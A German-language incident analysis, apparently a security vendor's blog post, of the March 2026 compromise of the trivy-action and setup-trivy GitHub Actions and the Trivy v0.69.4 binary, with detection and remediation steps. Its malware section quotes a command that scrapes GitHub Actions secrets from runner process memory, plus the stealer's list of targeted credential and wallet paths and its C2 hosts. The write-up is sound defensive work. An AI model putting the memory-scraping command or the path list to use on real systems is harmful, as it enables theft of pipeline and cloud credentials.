Kompromittierung der Trivy-GitHub-Actions-Supply-Chain

Kurz zusammengefasst

• Was: Angreifer pushten bösartigen Code per Force-Push auf 75 von 76 Versions-Tags in aquasecurity/trivy-action und kompromittierten außerdem setup-trivy sowie die Trivy-v0.69.4-Binärdatei

• Expositionszeitraum: \~12 Stunden (19. März, 17:43 UTC, bis 20. März, \~05:40 UTC)

• Auswirkungen: CI/CD-Secrets wurden durch das Auslesen des Runner-Prozessspeichers gestohlen; SSH-Schlüssel, Cloud-Zugangsdaten und Krypto-Wallets wurden von selbst gehosteten Runnern abgegriffen

• Zuordnung: TeamPCP (DeadCatx3/PCPcat/ShellForce), eine Bedrohungsgruppe, die Cloud-native Infrastruktur ins Visier nimmt

• Ursache: Zugangsdaten, die bei einer früheren Kompromittierung am 1. März erlangt wurden, die ihrerseits auf einen pull_request_target-Workflow-Exploit zurückging

• Sichere Versionen: trivy v0.69.3, trivy-action v0.35.0, setup-trivy v0.2.6

• CVE: Noch nicht vergeben (die Community hat eine CVE beantragt)

• Erforderliche Maßnahmen: Auf Commit-SHAs pinnen und alle Pipeline-Secrets rotieren, falls Sie im betroffenen Zeitraum eine betroffene Version ausgeführt haben

Am 19. März 2026 pushten Angreifer per Force-Push bösartigen Code auf 75 von 76 Versions-Tags in aquasecurity/trivy-action, der offiziellen GitHub Action für einen der meistgenutzten Open-Source-Schwachstellenscanner im Bereich Containersicherheit. Die Schadsoftware stahl unbemerkt CI/CD-Secrets, bevor der legitime Trivy-Scan ausgeführt wurde. Dadurch schienen betroffene Pipelines normal zu funktionieren.

Dies war die zweite Kompromittierung der Trivy-Infrastruktur innerhalb von weniger als drei Wochen. Der Angreifer nutzte dabei Zugangsdaten, die beim ersten Vorfall erlangt worden waren. Wenn Ihre CI/CD-Pipeline Trivy über GitHub Actions verwendet, könnten Sie betroffen sein. Hier erfahren Sie, was passiert ist, wie Sie es überprüfen und was Sie unternehmen sollten.

Was ist passiert?

Der Angriff vom 19. März richtete sich gleichzeitig gegen drei Repositories von Aqua Security:

• aquasecurity/trivy-action: 75 von 76 Versions-Tags wurden so umgeschrieben, dass sie auf bösartige Commits mit einem Tool zum Stehlen von Zugangsdaten verwiesen

• aquasecurity/setup-trivy: Sieben historische Versions-Tags wurden gelöscht und mit bösartigem Code neu erstellt; nur v0.2.6 ist weiterhin sauber

• Trivy-Binärdatei v0.69.4: Eine bösartige Version wurde im offiziellen Repository veröffentlicht und gelangte zu Docker Hub (aquasec/trivy:0.69.4), GitHub Container Registry und AWS ECR

Der Angreifer schrieb bestehende Versions-Tags so um, dass sie auf neue Commits mit einer modifizierten entrypoint.sh verwiesen. Wenn eine CI/CD-Pipeline trivy-action über ein Tag abrief (z. B. @v0.34.2, @v0.33.0 oder eine der Dutzenden älteren Versionen), wurde der bösartige Einstiegspunkt vor dem legitimen Trivy-Scan ausgeführt und griff unbemerkt Zugangsdaten ab.

Nur v0.35.0 war nicht betroffen. Diese Version verwies bereits auf den Master-HEAD-Commit, der als Basis für die bösartigen Versionen diente. Deshalb übersprang die Automatisierung des Angreifers sie.

Zeitlicher Ablauf der Ereignisse am 19. März (UTC) [^1]

Wie die Angriffskette begann

Dies war der Höhepunkt eines mehrstufigen Angriffs, der Wochen zuvor begonnen hatte.

Phase 1: Der pull_request_target-Exploit (Ende Februar)

Ein unter dem GitHub-Handle hackerbot-claw agierender Bedrohungsakteur (das Konto wurde am 20. Februar 2026 erstellt) führte eine automatisierte Kampagne durch, die öffentliche Repositories nach falsch konfigurierten GitHub-Actions-Workflows durchsuchte. Die Kampagne richtete sich gezielt gegen Workflows, die den pull_request_target-Event-Trigger mit übermäßigen Token-Berechtigungen verwendeten. Zu den Zielen gehörten Microsoft, DataDog, die CNCF und Aqua Security.

Das pull_request_target-Event gilt in GitHub Actions als bekanntes Risiko. Anders als pull_request wird es im Kontext des Basis-Repositorys ausgeführt, nicht im Fork. Das bedeutet, dass Workflows, die durch pull_request_target ausgelöst werden, auf die Secrets des Basis-Repositorys zugreifen können. Wenn ein solcher Workflow außerdem Code aus dem Pull Request (dem Fork) auscheckt, kann ein Angreifer einen PR mit bösartigem Code einreichen, der mit Zugriff auf diese Secrets ausgeführt wird.

Dieses konkrete Angriffsmuster haben wir im Dezember 2024 in unserer Analyse des Ultralytics-AI-Supply-Chain-Angriffs behandelt. Damals ermöglichte Template-Injection über Branch-Namen Angreifern, beliebigen Code in privilegierten Workflow-Kontexten auszuführen.

Das Trivy-Repository enthielt einen anfälligen pull_request_target-Workflow, der seit Oktober 2025 vorhanden war. Das Tool poutine von Boost Security hatte ihn am 29. November 2025 markiert – mehr als drei Monate vor dem Angriff. Am 28. Februar nutzte hackerbot-claw diesen Workflow aus, um ein organisationsweites Personal Access Token (ORG_REPO_TOKEN) des Servicekontos aqua-bot zu stehlen. Dieses PAT wurde in mindestens 33 Workflows der GitHub-Organisation von Aqua Security verwendet.

Phase 2: Erste Kompromittierung (1. März)

Mit dem gestohlenen PAT führte der Angreifer folgende Aktionen aus:

• Das Trivy-Repository vorübergehend auf privat gestellt

• GitHub-Releases zwischen v0.27.0 und v0.69.1 gelöscht

• Über OpenVSX eine bösartige Trivy-VS-Code-Erweiterung veröffentlicht, die lokale KI-Coding-Agenten missbrauchen sollte

• Weitere Zugangsdaten aus der CI-Umgebung exfiltriert

Aqua Security legte den Vorfall in der GitHub-Diskussion #10265 offen und begann, Secrets und Tokens zu rotieren. Wie das Trivy-Team später anmerkte: „Der Prozess war nicht atomar, und Angreifer könnten Zugriff auf erneuerte Tokens gehabt haben.“

Phase 3: Zweite Kompromittierung (19. März)

Zwanzig Tage später kehrte der Angreifer mit einer komplexeren Schadsoftware zurück: einem mehrstufigen Tool zum Stehlen von Zugangsdaten, das TeamPCP zugeschrieben wird (auch bekannt als DeadCatx3, PCPcat, ShellForce). Die Bedrohungsgruppe ist dafür bekannt, Cloud-native Infrastruktur ins Visier zu nehmen, insbesondere zum Diebstahl von Kryptowährungen.

Als weitere Taktik zur Störung der Reaktion auf den Vorfall nutzte der Angreifer das kompromittierte Konto aqua-bot, um die ursprüngliche Vorfalldiskussion (#10265) zu löschen und so die Koordination der Community zu erschweren.

Ein Blick in die bösartige Schadsoftware

Die eingeschleuste entrypoint.sh ersetzte den legitimen Einstiegspunkt für den Trivy-Scan durch einen dreistufigen Angriff. Der in der Schadsoftware enthaltene, selbst als „TeamPCP Cloud stealer“ bezeichnete Code griff verschiedene Umgebungen mit unterschiedlichen Techniken an.

Auf von GitHub gehosteten Runnern

Die Malware nutzte den passwortlosen Zugriff über sudo (Standard bei von GitHub gehosteten Runnern), um:

1. den Speicher von Runner.Worker-Prozessen auszulesen, indem sie /proc/<pid>/mem auslas und GitHub-Actions-Secrets aus dem .NET-Runtime-Heap extrahierte

2. Secrets aus dem Speicher auszulesen und gezielt nach JSON-Objekten zu suchen, die dem Muster {"value":"<secret>","isSecret":true} entsprachen

3. Scannen Sie /proc/*/environ, um Umgebungsvariablen aus allen laufenden Prozessen abzugreifen

Dies ist dieselbe Technik zum Auslesen des Speichers, die beim im März 2025 dokumentierten Vorfall mit tj-actions/changed-files zum Einsatz kam. An GitHub-Actions-Workflows übergebene Secrets werden zur Laufzeit entschlüsselt und im Speicher des Runner-Prozesses abgelegt. Daher kann jeder Code, der in derselben Runner-Umgebung ausgeführt wird, sie auslesen.

Das vollständige Skript zum Stehlen von Zugangsdaten wurde im Issue-Thread von trivy-action geteilt und unabhängig analysiert. Hier sehen Sie die zentrale Logik zum Auslesen des Speichers:

# Locate Runner.Worker process
runner_pid=$(ps aux | grep 'Runner.Worker' | grep -v grep | awk '{print $2}' | head -1)
# Dump process memory and extract secrets
grep -ao '{"value":"[^"]*","isSecret":true}' /proc/$runner_pid/mem

Auf selbst gehosteten Runnern

Auf selbst gehosteten Runnern durchsuchte die Malware umfassend das Dateisystem und überprüfte über 50 sensible Pfade. Dabei zielte sie auf:

• SSH-Schlüssel und Git-Zugangsdaten

• Zugangsdaten von Cloud-Anbietern: AWS-, GCP- und Azure-Konfigurationen

• Kubernetes-Tokens und kubeconfig-Dateien

• Docker-Zugangsdaten und Registry-Authentifizierung

• Datenbank-Verbindungszeichenfolgen

• Terraform-State-Dateien (die oft unverschlüsselte Secrets enthalten)

• Kryptowährungs-Wallets: Bitcoin-, Ethereum-, Solana- und Cardano-Schlüsselpaare

• Umgebungsdateien: .env und Varianten

• TLS-Zertifikate und private Schlüssel

• Shell-Verlaufsdateien

• VPN-Konfigurationen

Auf Entwicklerrechnern

Wenn die Malware erkannt wurde und sie nicht innerhalb von GitHub Actions lief (d. h. GITHUB_ACTIONS != "true"), installierte sie einen Persistenzmechanismus: einen Python-Dropper unter ~/.config/systemd/user/sysmon.py samt einer zugehörigen systemd-User-Unit. Dieser Dropper fragte einen vom Angreifer kontrollierten ICP-Endpunkt (Internet Computer Protocol) nach weiterer Schadsoftware ab.

Exfiltration

Die gesammelten Daten wurden mit AES-256-CBC verschlüsselt, wobei PBKDF2 zur Schlüsselableitung zum Einsatz kam. Anschließend wurden sie mit RSA-4096-OAEP-Padding umhüllt, als tpcp.tar.gz gebündelt und per HTTPS-POST an die Typosquat-Domain scan[.]aquasecurtiy[.]org gesendet (beachten Sie das vertauschte i und t in „security“). Der C2-Server lief unter der IP-Adresse 45.148.10.212 und war in Amsterdam auf TECHOFF SRV LIMITED registriert.

Falls der primäre Exfiltrationskanal ausfiel, verfügte die Malware über zwei Ausweichmechanismen:

1. Cloudflare Tunnel: Exfiltration über plug-tab-protective-relay.trycloudflare.com

2. GitHub als Ablage: Mit dem eigenen Token des Opfers INPUT_GITHUB_PAT erstellte die Malware im GitHub-Konto des Opfers ein öffentliches Repository namens tpcp-docs und lud die verschlüsselten gestohlenen Daten als Release-Assets hoch. Der Angreifer konnte diese Repositories anschließend über eine GitHub-Suche finden.

Das gesamte Ausmaß des Zugangsdaten-Diebstahls

Das entschlüsselte Python-Skript zum Stehlen von Zugangsdaten aus setup-trivy (wiederhergestellt aus einem aufgezeichneten Workflow-Lauf) zeigt das umfassende Ausmaß des Datendiebstahls. Die Malware hatte es auf mehr als 50 Dateisystempfade abgesehen, darunter:

# SSH keys and configs
'/.ssh/id_rsa', '/.ssh/id_ed25519', '/.ssh/id_ecdsa', '/.ssh/authorized_keys'

# Cloud credentials
'/.aws/credentials', '/.aws/config'
'/.config/gcloud/application_default_credentials.json'
'/.azure/*'
'/.kube/config'

# CI/CD and infrastructure secrets
'/.docker/config.json', '/.npmrc', '/.vault-token', '/.netrc'
'terraform.tfvars', 'terraform.tfstate'

# Cryptocurrency wallets (50+ paths)
'/.bitcoin/wallet.dat', '/.ethereum/keystore/*'
'/.config/solana/*', '/.cardano/*.skey'
'/validator-keypair.json', '/vote-account-keypair.json'

Das Skript versuchte außerdem, Cloud-Metadatendienste (169.254.169.254, 169.254.170.2) aufzurufen, um IAM-Zugangsdaten abzurufen, führte kubectl get secrets --all-namespaces aus und suchte rekursiv nach API-Schlüsseln, Webhook-URLs und Datenbank-Verbindungszeichenfolgen.

Die gefälschte Trivy-Binärdatei (v0.69.4)

Neben dem Diebstahl bei Nutzern der Action legte der kompromittierte Release-Workflow auch die hochwertigen Secrets von Aqua Security selbst offen: Docker-Hub-Zugangsdaten, AWS-ECR-Zugriffsschlüssel, GPG-Signaturschlüssel (zum Signieren von RPM-Paketen) und das organisationsweite GitHub-PAT, das in mehr als 33 Workflows verwendet wurde.

Die kompromittierte Trivy-Binärdatei ging anders vor. Sie schrieb den Release-Workflow so um, dass er auf actions/checkout@70379aad1a8b40919ce8b382d3cd7d0315cde1d0 verwies. Das sieht wie eine legitime SHA-Fixierung aus, zeigte aber tatsächlich auf einen Commit aus einem Fork und nicht auf das echte Repository von actions/checkout. Dabei wird ein subtiles Verhalten der GitHub-Plattform ausgenutzt: Eine uses: owner/repo@<hash>-Referenz überprüft nicht, ob der Hash zum angegebenen Repository gehört. Durch die gemeinsame Nutzung von Git-Objekten in Forks ist jeder Commit aus jedem Fork über seine SHA erreichbar. Der Build rief Backdoor-Go-Quelldateien vom C2-Server ab, fügte GoReleaser --skip=validate hinzu, um die Build-Validierung zu umgehen, und überschrieb .golangci.yaml, um Linter-Warnungen zum eingeschleusten Code zu unterdrücken. Die resultierenden Binärdateien führten den legitimen Trivy-Scanner parallel zum Credential-Stealer aus, sodass die Scan-Ergebnisse normal aussahen.

Erkennungsindikatoren

Die schädlichen Commits wiesen mehrere verräterische Merkmale auf, die die Fälschung im Nachhinein erkennbar machten:

• Nicht signierte Commits: Die ursprünglichen Trivy-Releases waren über die GitHub-Weboberfläche mit GPG signiert. Die Ersatz-Commits waren es nicht.

• Unmögliche Zeitstempel: Die gefälschten Commits übernahmen die ursprünglichen Release-Daten als Zeitstempel, ihre Parent-Commits stammten jedoch aus dem März 2026. Dadurch entstanden unmögliche zeitliche Beziehungen zwischen Parent-Commits und Commits.

• „0 commits to master since this release“: Die GitHub-Release-Oberfläche zeigte diesen Zähler für Tags an, die viele Versionen hinter dem Master-Branch hätten liegen müssen. Das deutete darauf hin, dass jeder Tag auf einen Commit zeigte, dessen Parent der aktuelle HEAD von Master war.

• Änderungen an nur einer Datei: Jeder schädliche Commit änderte nur entrypoint.sh – anders als die ursprünglichen Commits mit mehreren Dateien, die er nachahmte.

Harden-Runner von StepSecurity erkannte ausgehende C2-Verbindungen in mehr als 12.000 öffentlichen Repositories über seinen Community-Tarif und ermöglichte so die direkte Benachrichtigung betroffener Projekte.

Kompromittierungsindikatoren [^2]

Sind Sie betroffen?

Sie könnten betroffen sein, wenn:

1. Ihre Workflows aquasecurity/trivy-action mit einem Tag referenzieren (z. B. @v0.34.2, @v0.18.0 oder einen beliebigen Versions-Tag außer @v0.35.0)

2. Ihre Workflows verwenden aquasecurity/setup-trivy in einer anderen Version als @v0.2.6

3. Sie Trivy v0.69.4 zwischen dem 19. und 20. März 2026 direkt, über Docker (aquasec/trivy:0.69.4) oder über GHCR heruntergeladen haben

4. Einer der oben genannten Fälle trat während des Expositionszeitraums auf: vom 19. März 2026, 17:43 UTC bis zum 20. März 2026, \~05:40 UTC

Der bestätigte Expositionszeitraum betrug etwa 12 Stunden. Wenn Ihr trivy-action außerhalb dieses Zeitraums ausgeführt wurde, waren Sie von der Tag-Kompromittierung nicht betroffen. Dennoch sollten Sie künftig SHA-Werte festschreiben.

Hinweis zu Referenzen auf @master: Auf die Frage, ob Workflows mit Fixierung auf aquasecurity/trivy-action@master sicher seien, antwortete der Trivy-Maintainer DmitriyLewen: „Wir wissen nicht, wie der Angreifer den verwaisten Commit erstellt hat. Daher kann ich Ihnen nicht sagen, dass aquasecurity/trivy-action@master zu 100 % sicher war.“

Hinweis zu Homebrew: Homebrew bezog zwar zunächst v0.69.4, erstellt Builds jedoch aus Quellcode-Archiven. Die kompilierte Binärdatei war nicht mit einer Backdoor versehen. Dennoch wurde ein PR für ein sofortiges Downgrade eingereicht (Homebrew/homebrew-core#273304).

So überprüfen Sie es

Überprüfen Sie Ihre Workflow-Dateien auf Referenzen zu trivy-action:

# Search your repos for trivy-action usage
grep -r "aquasecurity/trivy-action" .github/workflows/
grep -r "aquasecurity/setup-trivy" .github/workflows/

Prüfen Sie die Protokolle Ihrer GitHub-Actions-Ausführungen für den betroffenen Zeitraum. Suchen Sie nach allen Ausführungen nach dem 19. März 2026, 17:43 UTC, bei denen trivy-action verwendet wurde.

Prüfen Sie, ob der Exfiltrations-Fallback verwendet wurde:

# Search your GitHub org for the attacker's dead-drop repos
gh repo list YOUR-ORG --json name -q '.[].name' | grep tpcp-docs

Prüfen Sie die Netzwerkprotokolle auf Verbindungen zur C2-Domain (scan[.]aquasecurtiy[.]org) oder IP-Adresse (45.148.10.212).

Sofortige Maßnahmen zur Behebung

1. Verwenden Sie trivy-action nicht mehr über Tags

Entfernen oder aktualisieren Sie sofort alle Workflow-Referenzen. Sichere Optionen:

# Option A: Pin to a known-safe commit SHA
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

# Option B: Use the only uncompromised tag (verify SHA first)
- uses: aquasecurity/trivy-action@v0.35.0

Für setup-trivy ist nur Version v0.2.6 sicher.

2. Erneuern Sie alle Zugangsdaten

Wenn eine betroffene Action in Ihrer Pipeline ausgeführt wurde, sollten Sie jedes Geheimnis, auf das dieser Workflow zugreifen konnte, als kompromittiert betrachten. Dazu gehören:

• GitHub-Tokens (sowohl GITHUB_TOKEN als auch alle PATs)

• Cloud-Anbieter-Zugangsdaten (AWS-Zugriffsschlüssel, GCP-Dienstkontoschlüssel, Azure-Zugangsdaten)

• Container-Registry-Tokens (Docker Hub, GHCR, ECR usw.)

• SSH-Schlüssel

• Datenbankpasswörter

• API-Schlüssel und Webhook-Geheimnisse

3. Prüfen Sie auf Persistenzmechanismen des Angreifers

Prüfen Sie auf selbst gehosteten Runnern und Entwicklergeräten, ob der Persistenzmechanismus vorhanden ist:

# Check for the TeamPCP dropper
ls -la ~/.config/systemd/user/sysmon.py
systemctl --user list-units | grep sysmon

4. Prüfen Sie auf den Exfiltrations-Fallback

Suchen Sie in Ihrer GitHub-Organisation nach Repositories mit dem Namen tpcp-docs. Falls Sie eines finden, ist es dem Angreifer gelungen, Daten aus Ihrer Pipeline zu exfiltrieren.

5. Führen Sie den Kompromittierungs-Scanner aus

StepSecurity hat das spezielle Tool trivy-compromise-scanner veröffentlicht. Es prüft die Protokolle von GitHub-Actions-Workflow-Ausführungen über Repositories oder ganze Organisationen hinweg und sucht nach Ausführungen, bei denen während des Angriffszeitraums eine kompromittierte Action-Referenz verwendet wurde.

Was Aqua Security seither unternommen hat

Seit dem Vorfall haben die Trivy-Maintainer:

• Alle trivy-action-Tags auf ihre ursprünglichen, sicheren Commits zurückgesetzt und eine neue Namenskonvention mit v-Präfix eingeführt (z. B. heißt 0.34.0 jetzt v0.34.0)

• Unveränderliche Releases aktiviert in den Repositories trivy, trivy-action und setup-trivy, um künftige Force-Pushes von Tags zu verhindern

• Alle schädlichen Artefakte von Docker Hub, GHCR, AWS ECR und GitHub Releases entfernt

• Automatisierte Actions und Tokens organisationsweit stärker abgesichert

Wie Maintainer DmitriyLewen im Issue-Thread anmerkte: „Unabhängig von Vorfällen ist es immer besser, Commit-Hashes zu verwenden.“

CVE-2026-28353 (CVSS 10.0) wurde für die Kompromittierung der VS-Code-Erweiterung beim ersten Vorfall vergeben. Für den Tag-Hijacking-Angriff vom 19. März wurde jedoch keine CVE vergeben, obwohl die Community eine formelle Offenlegung gefordert hat. Eine separate, frühere Schwachstelle (CVE-2026-26189 / GHSA-9p44-j4g5-cfx5, CVSS 5.9), die Script-Injection in der Composite Action betraf, wurde vor dem Supply-Chain-Angriff in v0.34.0 behoben.

Harden-Runner von StepSecurity hat bereits Sicherheitswarnungen bei betroffenen Open-Source-Projekten eingereicht, darunter Fluent Bit (CNCF), k8gb (Kubernetes-DNS), HL7 FHIR IG Publisher (Gesundheitsstandards) und Charmed Kubeflow von Canonical.

Lehren für die Absicherung von GitHub Actions

Zusammen mit der Kompromittierung von tj-actions/changed-files und dem Clinejection-Angriff auf die CI/CD-Pipeline von Cline bestätigt dieser Vorfall ein Muster: Supply-Chain-Angriffe auf GitHub Actions sind für Unternehmen, die CI/CD einsetzen, ein wiederkehrendes Risiko. Wenn Sie die Sicherheitslage Ihrer Pipeline nicht kürzlich überprüft haben, ist jetzt der richtige Zeitpunkt.

Actions mit Commit-SHAs statt mit Tags fixieren

Tags sind veränderbar. Jede Person mit Schreibzugriff kann einen Tag per Force-Push auf einen völlig anderen Commit verweisen lassen. Commit-SHAs sind unveränderlich.

# Vulnerable: tag can be rewritten at any time
- uses: aquasecurity/trivy-action@v0.34.2

# Secure: commit SHA is immutable
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

Dies ist die wichtigste Schutzmaßnahme gegen diese Art von Angriff. Der Leitfaden zur Sicherheitsverbesserung von GitHub selbst empfiehlt, vollständige Commit-SHAs festzuschreiben.

Tools wie zizmor (statische Analyse von GitHub-Actions-Workflows), pinact (automatisierte SHA-Fixierung), secure-repo von StepSecurity und die Option pinGitHubActionDigests von Renovate können dies organisationsweit automatisieren.

pull_request_target-Workflows überprüfen

Die Ursache dieser gesamten Angriffskette war ein falsch konfigurierter pull_request_target-Workflow. Wenn Ihre Repositories diesen Ereignis-Trigger verwenden, überprüfen Sie sie sorgfältig:

• Checkt der Workflow Code aus dem PR aus? Dann ist er wahrscheinlich anfällig.

• Verfügt er über Schreibberechtigungen oder Zugriff auf Geheimnisse? Beschränken Sie diese so weit wie möglich.

• Können Sie stattdessen pull_request verwenden? In den meisten Fällen ist das möglich.

Der Vorfall bei Ultralytics zeigte dasselbe Schwachstellenmuster. Ebenso der Clinejection-Angriff, bei dem eine Prompt Injection im Titel eines GitHub-Issues Angreifern die Codeausführung in einem privilegierten Workflow-Kontext ermöglichte.

Repository-begrenzte Tokens statt organisationsweiter PATs verwenden

Das gestohlene ORG_REPO_TOKEN verschaffte dem Angreifer Zugriff auf mehr als 33 Workflows in der Organisation von Aqua Security. Repository-begrenzte Tokens schränken den Wirkungsradius eines einzelnen kompromittierten Zugangsdaten ein. Für die Release-Automatisierung sind fein abgestufte persönliche Zugriffstokens oder GitHub-App-Installationstokens mit Zugriff auf bestimmte Repositories die sicherere Wahl.

Ausgehende Netzwerkverbindungen aus CI/CD überwachen

Sowohl die Kompromittierung von tj-actions als auch die von Trivy wurden zunächst anhand ungewöhnlicher ausgehender Netzwerkaktivitäten von CI-Runnern erkannt. Bemerkenswert ist, dass Force-Pushes von Tags in den GitHub-Archive-Ereignisdaten nicht sichtbar sind und somit einen blinden Fleck für die ereignisbasierte Überwachung darstellen. Die Netzwerküberwachung zur Laufzeit ist derzeit die zuverlässigste Erkennungsebene. Tools wie Harden-Runner von StepSecurity können den Netzwerkzugriff Ihrer GitHub-Actions-Workflows überwachen und einschränken. Mit poutine können Sie ganze GitHub-Organisationen auf CI/CD-Supply-Chain-Risiken prüfen.

GPG-signierte Commits für Releases erzwingen

Die schädlichen Commits dieses Angriffs waren nicht signiert, während die legitimen Releases GPG-signiert waren. Die Signaturprüfung von Release-Tags ist eine zusätzliche Schutzebene, die diese Art von Angriff erschwert und seine unbemerkte Ausführung unwahrscheinlicher macht.

Zugangsdaten vollständig erneuern

Der Angriff vom 19. März nutzte Zugangsdaten aus, die nach dem Vorfall vom 1. März nicht erneuert worden waren, wie Aqua Security einräumte. Das bestätigt die Lehre aus dem Vorfall mit der Erneuerung von CircleCI-Geheimnissen: Bei der Reaktion auf eine Kompromittierung von Zugangsdaten sollten Sie:

• alle Zugangsdaten gleichzeitig oder so zeitgleich wie möglich erneuern

• davon ausgehen, dass alle Zugangsdaten, auf die die kompromittierte Umgebung zugreifen konnte, exfiltriert wurden

• die Erneuerung überprüfen, indem Sie sicherstellen, dass die alten Zugangsdaten ungültig sind – nicht nur, dass die neuen funktionieren

Das große Ganze

Fast genau ein Jahr nach der Kompromittierung von tj-actions/changed-files kam es erneut zu einem Angriff derselben Art. Die strukturellen Ähnlichkeiten sind bemerkenswert:

Der Trivy-Vorfall veranschaulicht, wie sich bekannte Supply-Chain-Angriffsmuster in der Praxis verbinden. Keine einzelne Schwachstelle war neu:

• Fehlkonfigurationen von pull_request_target sind seit Jahren dokumentiert

• Die Veränderbarkeit von Tags in GitHub Actions ist eine bekannte Einschränkung des Designs

• Das Auslesen des Arbeitsspeichers von Runner.Worker-Prozessen wurde erstmals bei der Kompromittierung von tj-actions beobachtet

• C2-Domains mit Typosquatting sind eine gängige Exfiltrationstechnik

Wirksam wurde dieser Angriff durch die Kombination dieser Techniken zu einer beständigen, mehrstufigen Kampagne. Der anfängliche pull_request_target-Exploit führte zum Diebstahl von Zugangsdaten. Mit diesen startete der Angreifer einen zweiten Angriff, der Tausende nachgelagerte Pipelines erreichte.

Für Sicherheitsteams ist die Schlussfolgerung eindeutig: Ihre CI/CD-Pipeline gehört zu Ihrer Angriffsfläche. Die in Ihrer Pipeline ausgeführten Tools – auch Ihre Sicherheitsscanner – sind Abhängigkeiten, die genauso sorgfältig geprüft werden müssen wie die Abhängigkeiten Ihrer Anwendung. Die Absicherung Ihrer CI/CD-Pipeline verdient dieselbe Sorgfalt wie die Absicherung Ihres Anwendungscodes.

Pinnen Sie Ihre Actions auf Commit-SHAs. Beschränken Sie den Geltungsbereich Ihrer Tokens. Rotieren Sie Ihre Secrets vollständig. Überwachen Sie den Netzwerkverkehr Ihres Runners. Und sollte es zu einem Vorfall kommen, behandeln Sie alle zugänglichen Zugangsdaten als kompromittiert, bis Sie das Gegenteil bestätigen können.

Die Geschichte entwickelt sich weiter. Die neuesten Updates finden Sie in der offiziellen Stellungnahme von Aqua Security (Diskussion Nr. 10425).

Play Video: YouTube Video: 5xngh29yx9A

So verwenden Sie GitHub-Actions-Umgebungsvariablen und Secrets — Erfahren Sie, wie Sie Secrets in GitHub-Actions-Workflows richtig handhaben, um Ihr Risiko durch Supply-Chain-Angriffe zu verringern.